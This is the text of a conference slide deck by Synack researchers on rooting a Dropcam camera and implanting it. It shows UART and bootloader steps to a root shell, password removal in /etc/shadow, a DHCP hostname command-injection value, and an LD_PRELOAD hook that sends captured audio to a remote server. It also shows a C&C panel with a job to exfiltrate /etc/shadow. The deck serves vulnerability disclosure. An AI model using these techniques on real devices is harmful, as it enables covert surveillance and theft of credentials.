



@colbymoore

@patrickwardle

optical surgery; implanting a dropcam

colby moore / patrick wardle



who we are

Synack's R&D team




Synack



- ▶ Colby Moore ([vrl/synack](#))
- ▶ Patrick Wardle ([nasa/nsa/vrl/synack](#))



> an outline



overview



root access



vulnerabilities



implant

an overview
what/why?





“Dropcam is a cloud-based Wi-Fi video monitoring service with free live streaming, two-way talk and remote viewing that makes it easy to stay connected with places, people and pets, no matter where you are.” (dropcam.com)



cloud recording





night vision



two-way talk




intelligent alerts



> a target


got a target on your back?!



extremely popular



found in interesting locations




useful capabilities




rooting a dropcam
popping one of these #




> probing some portz



exposed 3.3v UART



breakout board (FTDI serial to USB)



serial connection (pin 3 & 4)

> and action!

```
$ screen /dev/tty.usbserial-A603NJ6C 115200
[0.000000] Linux version 2.6.38.8 (dropcambuild@linux-ws) (gcc version 4.5.2 (Sourcery G++ Lite 2011.03-41) )
[0.000000] CPU: ARMv6-compatible processor [4117b365] revision 5 (ARMv6TEJ), cr=00c5387f
[0.000000] CPU: VIPT nonaliasing data cache, VIPT nonaliasing instruction cache

...

      .: ^ :.
     .o0WMMMMMMNOc.
    dWMMMMMNxNMMMMWl
dMMMMd.      .kMMMMl
KMMMO      KMMMO
OMMMW;      cWMMWx
.0MMMM0..cKMMMMk
:XM0:dNMMMMO;
;.0MMMMO,
  'ONx'

          lk,
          .NMc
          .o0XNX0kWMc cX0xXNo .o0XNX0d' .0XxxKNNKx; :kKNNKx. .lOXNNKx, :XXxKNX0ldKNNKd.
lWNd;' ,lXMMc oMMo' .dWNo, ',oXWx .WMWk;' ,c0M0. .KMO:' ':; ;NWx;' ,cKMK. lMMx' .oWMX; . '0MO
MM:      .WMc oMX 'MM, 'WM; .WMd XM0 kM0 KMx .WMd lMM' .XMo cMX
0M0' .dMMc oMX .XMk' .xMX. .WMK; .lWw, cWw: dMX, .oMMd lMM' .XMo cMX
oNMNKXMNWMc oMX .dNMNKXMNx. .WMWMNKXMW0' ;0WwKKWN, cKMNKXWwWwd lMM' .XMo cMK
.;;;. ';;. ;;. ;;;;. .WMo.,:;'. .,;;;. .;:;. ;;;' .;. ;;. ;;.
.WM:
..

Ambarella login:
```

password prompt

> accessing the bootloader



power on



hit 'enter'



```
$ screen /dev/tty.usbserial-A603NJ6C 115200
```

```
AMBOOT
```

```
-----  
Amboot(R) Ambarella(R) Copyright (C) 2004-2007
```

```
...  
amboot>
```

bootloader

> booting in a root shell

```
amboot> help
The following commands are supported:
help      bios      diag      dump
erase     exec      ping      r8
r16       r32       reboot    reset
setenv    show      usbd1     w8
w16       w32       bapi
```

bootloader's help

```
amboot> help setenv
Usage: setenv [param] [val]
sn          - Serial number
auto_boot  - Automatic boot
cmdline    - Boot parameters
auto_dl    - Automatically try to boot over network
tftpd      - TFTP server address
...
```

bootloader's setenv command

```
amboot>setenv cmdline DCSEC console=ttyS0 ubi.mtd=bak root=ubi0:rootfs rw rootfstype=ubifs init=/bin/sh
amboot>reboot
```

set boot parameters to `/bin/sh`

> nop'ing out r00t's password


```
# ls -l /etc/shadow
/etc/shadow -> /mnt/dropcam/shadow

# more /etc/fstab
# /etc/fstab: static file system information.
#
# <file system> <mount pt>    <type>
# /dev/root      /                ext2
...
# NFS configuration for ttyS0
/dev/mtdblock9  /mnt/dropcam    jffs2


# mount -tjffs2 /dev/mtdblock9 /mnt/dropcam
```

```
# vi /etc/shadow
root:$1$Sf9tWhv6$HCsGEUpFvigVcL7aV4V2t.:10933:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::

# more /etc/shadow
root::10933:0:99999:7:::
bin:*.10933.0.99999.7:::
daemon:*.10933.0.99999.7:::
```



reboot



reset boot params




root :)

vulnerabilities

....



> the environment



linux (arm 32-bit)

```
#uname -a
Linux Ambarella 2.6.38.8 #80 PREEMPT Aug 2013 armv6l GNU/Linux

# ps aux | grep connect
821 root      0:10 /usr/bin/connect
823 root      0:13 /usr/bin/connect
824 root      0:00 /usr/bin/connect
```



...and dropcam specific binaries


> decently secure



no open ports



all communications
secured



unique provisioning

> heartbleed (client side)


yah, this is vulnerable

```
# openssl version  
OpenSSL 1.0.1e 11 Feb 2013
```

openssl version



> heartbleed (client side)



1aa2d258e55c4c9cadd6b4118e296e7c

Issuer Name
Country US
Common Name Dropcam Certificate Authority
Organization Dropcam

Serial Number 2649899954
Version 1
Signature Algorithm SHA-1 with RSA Encryption (1.2.840.113549.1.1.5)

Subject Name
Country US
Common Name 1aa2d258e55c4c9cadd6b4118e296e7c
Organization Dropcam

Not Valid Before Sunday, December 31, 2000 at 2:00:00 PM Hawaii-Aleutian Standard Time
Not Valid After Friday, December 31, 2049 at 2:00:00 PM Hawaii-Aleutian Standard Time

Public Key Info
Algorithm RSA Encryption (1.2.840.113549.1.1.1)
Public Key 256 bytes : C4 3C 1D 5B 58 D7 90 7E ...
Exponent 65537
Key Size 2048 bits
Key Usage Any

Signature 256 bytes : 09 6C 96 82 52 C4 F3 9F ...

Fingerprints
SHA1 43 67 C4 37 3C FA A8 EF 15 61 EE 86 97 D9 08 D1 D8 82 55 63
MD5 5B 0F 34 57 A8 81 2D B3 9A FF 45 88 6F C7 A6 0F

```
0000 00000000 00000000 00000000 00000000
0000 80017C58 00520852 45444952 45435442
2061 63623064 36383932 34333536 35323335
2E36 2E33382E 38202334 32205052 45454D50
726F 7063616D 20436F6E 6E656374 202D2056
652D 6E6F6465 3D6C696E 75782D32 30332C20
656C 65617365 2F6C6F76 61676529 48032802
C946 76BE51EA 43304699 17F21B53 5F9EBA57
C7B4 9F80370F 0EC8B8CF 7E0AC6DF 40E71043
0100 096C9682 52C4F39F 9A4C33E7 5A545BE2
4E14 D88D9904 1F0DDE67 E530EBEB 63FE10F5
EF5D 87A4A1F5 DB065322 52AD8736 C7D9D68C
BD4A 3624E5B1 5AFB9908 780E31F4 FED95ED9
300D 06092A86 4886F70D 01010505 00304731
7479 3110300E 06035504 0A130744 726F7063
0255 53312630 24060355 0403131D 44726F70
092A 864886F7 0D010101 05000382 010F0030
0B2E 381DF7C2 EB8CDE8A 49334EC9 CCD75DE5
92B8 7C2BF9DE 4F9AFB1B 4BBAEAF9 43706C2E
B362 6E76FC60 8BF1C573 4A350F01 13776419
41F1 03FDE577 EA8E38F3 02030100 01300D06
910B 9925ADFA DC6393BB 22FC495C ECF5C852
...
Ä IX R REDIRECTB
¥ Build: 46 (jenkins-ambarella-a5s-sdk-release-46, acb0d689243565235
ba530b6d22c95ffab01eedc), Linux: Linux Ambarella 2.6.38.8 #42 PREEMP
T Tue Apr 8 13:22:14 PDT 2014 armv6l GNU/Linux:ó Dropcam Connect - V
ersion: 381000, Build: 203 (jenkins-connect-release-node=linux-203,
7fcfe90ecbc5cce0a005a3c057c0049ae3779797, origin/release/lovage)H (
p`ó " 192.168.0.8 »† 0* Ý ØRPIÏö≤áh`Iú ±@t!'éú•...FvæQIC0Fó Ú S_úfW
ðAràðäg«0Ú`3-I9`I0#Z2 "k√ø*te/'fá»IΩ<¶T `DeÚfç «#úÄ7 »¶æ~ Δ#Á C
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ã¶%~, $√W. "İ-°sè,,@-T `c(Z<>Zá (, '-È ÈE•Á V# P 'Ó]ás°ıe S"R#á6«ÿ÷á
6†÷vð#0¶Qα† -wª»Äİ OkIµ 0öe`é.(ı†& äı,à.Kt%J») -•ΩJ6$Á±Z°ó x 1U,ÿ^ÿ
<%á} .5+j@ ` M´şfBİ°s0Ş knü .Gıf•S» 0Ç 0Ç 0 0 *ÜHÜ` 0G1
0 U US1&0$ U Dropcam Certificate Authority1 0 U Dropc
am0" 20010101000000Z 20500101000000Z0G1 0 U US1&0$ U Drop
cam Certificate Authority1 0 U Dropcam0Ç "0 *ÜHÜ` Ç 0
Ç Ç ÊÄüve√Ää&aäJI±,lN!Ä<UMg 64ıf5 ÇòZ ∞f¶/Äø .8 ~-İáfıI3N...Ä0]Á
÷ñ?' αÉG~`√,YU}°5° pæ$c -j Héf 'na[ İZá-ø@ÄNS h -äı¶ı+`fıö° KfÍ`Cpl.
uÿ/°Ba%æ6_ó .#QX yÇ`z÷lú qøo_-$-İ_l`Í ı¶ıÜΔ`Úq }Ü≥bnv,`äö~sJ5 wd
ËΔynÆ@¶Äæ'3j;<≥ ?AH`ıÆ [,• Üw0ö- w.≥ı@j÷H Eú bÇ_òAò "Áwİé8Ü 0
*ÜHÜ` C $π.ÿÿ Ê :öBà`áz -`ecç>à< %İò' éüë ó%÷`<ci" İ\İı»R
```

> busybox (cve-2011-2716)

busybox: “is a multi-call binary that combines many common Unix utilities into a single executable”



cve-2011-2716: “scripts (may) assume that hostname is trusted, which may lead to code execution when hostname is specially crafted”

malicious DHCP server



“host.com;evil cmd”




```
//unpatched version
case OPTION_STRING:
    memcpy(dest, option, len);
    dest[len] = '\0';
    return ret;
```

dropcam disassembly

```
;process OPTION_STRING/OPTION_STRING_HOST
MOV    R0, R4
MOV    R1, R5
MOV    R2, R7
BL     memcpy      ;memcpy(dest, option, len)
MOV    R3, #0
STRB   R3, [R4,R7] ;dest[len] = '\0';
```


> 'direct usb'

no need to open device!



> OS X privilege escalation



app binary is world writable!



```
$ ls -lart /Volumes/Dropcam\ Pro/Setup\ Dropcam\ \(Macintosh\).app/Contents/MacOS/  
-rwxrwxrwx 1 patrick staff 103936 Aug 12 2013 Setup Dropcam (Macintosh)  
drwxrwxrwx 1 patrick staff 2048 Aug 12 2013 ..  
drwxrwxrwx 1 patrick staff 2048 Aug 12 2013 .
```



non-priv'd attacker on host



infected dropcam app



r00t == yes

cuckoo's egg

a dropcam implant



> the implant should...



hear



see




infil/exfil



locate



infect



command shell



survey



dropcam

> conceptually



> finding the “brain”




how does the dropcam, hear, see, and think?



where is the brain?!

> the connect binary



the `/usr/bin/connect` binary is a monolithic program that largely contains the dropcam specific logic.



> but it's non-standardly packed....

```
$ hexdump -C dropCam/fileSystem/usr/bin/connect

00000000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00 |.ELF.....|
00000010  02 00 28 00 01 00 00 00  a0 f5 06 00 34 00 00 00 |..(.....4...|
00000020  74 81 06 00 02 02 00 05  34 00 20 00 02 00 28 00 |t.....4. ...(.|
00000030  03 00 02 00 01 00 00 00  00 00 00 00 00 80 00 00 |.....|
00000040  00 80 00 00 8c 7e 06 00  8c 7e 06 00 05 00 00 00 |.....~...~....|
00000050  00 80 00 00 01 00 00 00  90 5a 00 00 90 5a 14 00 |.....Z...Z..|
00000060  90 5a 14 00 00 00 00 00  00 00 00 00 06 00 00 00 |.Z.....|
00000070  00 80 00 00 7f d2 62 0c  55 50 58 21 04 09 0d 17 |...b.UPX!...|
```

upx'd



```
$ upx -d dropCam/fileSystem/usr/bin/connect

                Ultimate Packer for eXecutables

UPX 3.91          Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

-----
File size      Ratio      Format      Name
-----
upx: connect: IOException: bad write
Unpacked 1 file: 0 ok, 1 error.
```

unpack error :/

> packed connect



packer stub was identified as NRV2E
and identically matched source (armv4_n2e_d8.S)

-> the stub was not modified/customized

upx src; p_lx_elf.cpp

```
//elf unpack function
void PackLinuxElf32::unpack(OutputFile *fo)
{
    ...

    bool const is_shlib = (ehdr->e_shoff!=0);

    //this code path taken
    if(is_shlib)
    {
        //exception is thrown here
    }
}
```

```
//elf unpack function
#define EI_NIDENT 16

typedef struct {
    Elf_Char  e_ident[EI_NIDENT];
    Elf32_Halfe_type;
    Elf32_Halfe_machine;
    Elf32_Worde_version;
    Elf32_Addre_entry;
    Elf32_Off e_phoff;
    Elf32_Off e_shoff;
    ...
} Elf32_Ehdr;
```


> generically unpacking connect



connect is not a shared library
...why is is_shlib true (due to e_shoff != 0)?

```
//unset ehdr->e_shoff
with open(fileName, 'rb') as packedFile
    fileBytez = list(packedFile.read())

#zero out ehdr->e_shoff
fileBytez[SH_OFFSET:SH_OFFSET+SH_SIZE] = [0]*SH_SIZE
```



```
$ python dropWham.py connect -unpack
[+] unsetting ehdr->e_shoff
[+] invoking UPX to unpack
                Ultimate Packer for eXecutables


  File size      Ratio      Format      Name
  -----      -
  890244 <- 426577  47.92%  linux/armel  connect
Unpacked 1 file.

$ strings connect
Dropcam Connect - Version: %d, Build: %d (%s, %s, %s)
jenkins-connect-release-node=linux-144, origin/release/grains_of_paradise
CONNECT_BUILD_INFO
CONNECT_PLATFORM
CONNECT_VERSION
nexus.dropcam.com
...
```



can use for evilz?!

> the persistent core



not enough space for python

persist as init.d script

```
# du -sh
34.6M


# less /etc/init.d/S40myservices
...
tar -xvf python2.7-stripped.tgz -C /tmp/
/tmp/bin/python2.7 /implant/cuckoo.py &
```

decompress custom python

...and action!

cuckoo's nest...something

> networking C&C





```
# netstat -t
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0    1144 192.168.0.2:40978        ec2-54-92-10-100.compute-1.amazonaws.com:https ESTABLISHED
tcp        0    1337 192.168.0.2:41988        ec2-54-92-10-100.compute-1.amazonaws.com:https ESTABLISHED
```

dropcam/cuckoo's egg connections

> geolocation




googleapis.com/geolocation/v1/geolocate?




`{iwlist wlan0 scan}`



> host infection




> host infection




OS X kindly hides app details

this is the (implanted) device!



renamed (original) binary



> host infection (OS X)



XProtect




Gatekeeper



he wins!




OSX Sandbox




Code Signing

> audio and video



conceptually



more specifically

> injection

the `connect` binary exclusively opens both the audio card


```
# arecord  
arecord: audio open error  
Device or resource busy
```

```
# LD_PRELOAD=./injectMe.so  
/usr/bin/connect
```


module injection

injected module

connect's process space



kernel mode



> hooking

```
//blah
int main()
{

    //do something
    result = someFunction();

    printf("result: %#x\n", result);

}
```

```
//blah
int someFunction()
{

    //do something

    return someInt;

}
```


```
//blah
int someFunction()
{

    //do something EVIL

    return someInt;

}
```

} same name & declaration



> grabbing audio

dropcam uses the Advanced Linux Sound Architecture (ALSA) for audio



finally some disasm ;)

get some audio

```
//blah
LDR    R2, [R11,#size]
LDR    R0, [R5,#0xFC]
SUB    R1, R11, #-ptrptrBuffer
BL     snd_pcm_readn    ;read audio!
CMP    R0, R2
BEQ    readOK
...
LDR    R1, "read from audio interface failed"
MOV    R0, R4           ;=stderr
BL     fprintf
```

```
snd_pcm_sframes_t snd_pcm_readn(
    snd_pcm_t* pcm,
    void **bufs,
    snd_pcm_uframes_t size)
```



“Read non interleaved frames to a PCM”

> programmatically hooking audio



injected into `connect` process

```
//replaces snd_pcm_readn
// ->captures dropcam's audiosnd_pcm_sframes_t snd_pcm_readn(snd_pcm_t *pcm, void **bufs, snd_pcm_uframes_t size)
{

    //function pointer for real snd_pcm_readn()
    static snd_pcm_sframes_t (*orig_snd_pcm_readn)(snd_pcm_t*, void**, snd_pcm_uframes_t) = NULL;

    //frames read
    snd_pcm_sframes_t framesRead = 0;

    //get original function pointer for snd_pcm_readn()
    if(NULL == orig_snd_pcm_readn)
        orig_snd_pcm_readn = (snd_pcm_sframes_t (*)(snd_pcm_t*, void**, snd_pcm_uframes_t)) = dlsym(RTLD_NEXT, "snd_pcm_readn");

    //invoke original snd_pcm_readn()
    framesRead = orig_snd_pcm_readn(pcm, bufs, size);

    //exfil captured audio
    if(framesRead > 0)
        sendToServer(AUDIO_SERVER, AUDIO_SERVER_PORT, bufs, size);

    return framesRead;
}
```



> grabbing video

dropcam talks to a propriety Ambarrella kernel module to access the h.264 encoded video stream :/

```
//blah
LDR    R0, "/dev/iav"
MOV    R1, #2          ; oflag
MOV    R2, #0
BL     open
```


open video device

```
//blah
MOV    R0, R5
LDR    R1, =0x40046540 ; ioctl
MOV    R2, #0xD
BL     ioctl
CMP    R0, #0
LDRLT R0, "IAV_IOC_START_ENCODE_EX"
BLT    printError
```

send ioctl to video driver

```
//blah
MOV    R3, #1
MOV    R0, R5          ; fd
LDR    R1, =0x80046537 ; request
ADD    R2, SP, #0x120+var_D8
STRB   R3, [R8]
BL     ioctl
CMP    R0, #0
LDRLT R0, =aIav_ioc_read_b ; "IAV_IOC_READ_BITSTREAM_EX"
BLT    printError
```

undocumented struct :/



> grabbing video



open the `/dev/iav` device



get the h.264 parameters via `IAV_IOC_GET_H264_CONFIG_EX` ioctl



map BSB memory via `IAV_IOC_MAP_BSB` ioctl



map DSP memory via `IAV_IOC_MAP_DSP` ioctl



get the streams state via `IAV_IOC_GET_ENCODE_STREAM_INFO_EX` ioctl then check that its `IAV_STREAM_STATE_ENCODING`






finally, read the stream via the `IAV_IOC_READ_BITSTREAM_EX` ioctl






> manipulating video (conceptually)

injected module

connect's process space




> manipulating video (example)



IAV_IOC_READ_BITSTREAM_EX ioctl





size and pointer to frame



allows the malicious code to swap out frames on the fly....or just replay one(s) to loop the video stream!

> cuckoo's egg C&C server

Control Panel



Set Job

de:ad:be:ef:13:37

- ✓ Survey
- Infil
- Exfil
- Execute
- Shell
- Audio
- Video
- Boom
- Geolocate

Submit



> cuckoo's egg C&C server



Job Status

Time Created	UUID	Params	Type	Status	Result	Time Completed	Data
2014-07-15 17:23:24	de:ad:be:ef:13:37	/etc/shadow	Exfil	Unsent			
2014-07-15 17:23:12	de:ad:be:ef:13:37	pwd	Execute	Unsent			
2014-07-15 17:22:41	de:ad:be:ef:13:37		Survey	Complete	Success	2014-07-15 17:22:44	View
2014-07-15 17:22:41	de:ad:be:ef:13:37		Survey	Complete	Success	2014-07-15 17:22:44	View
2014-07-15 17:22:38	de:ad:be:ef:13:37		Survey	Complete	Success	2014-07-15 17:22:48	View


command data

status/result

> questions/answers



@colbymoore
@patrickwardle



colby@synack.com
patrick@synack.com

> creditz

images: dropcam.com

icons: iconmonstr.com
flaticon.com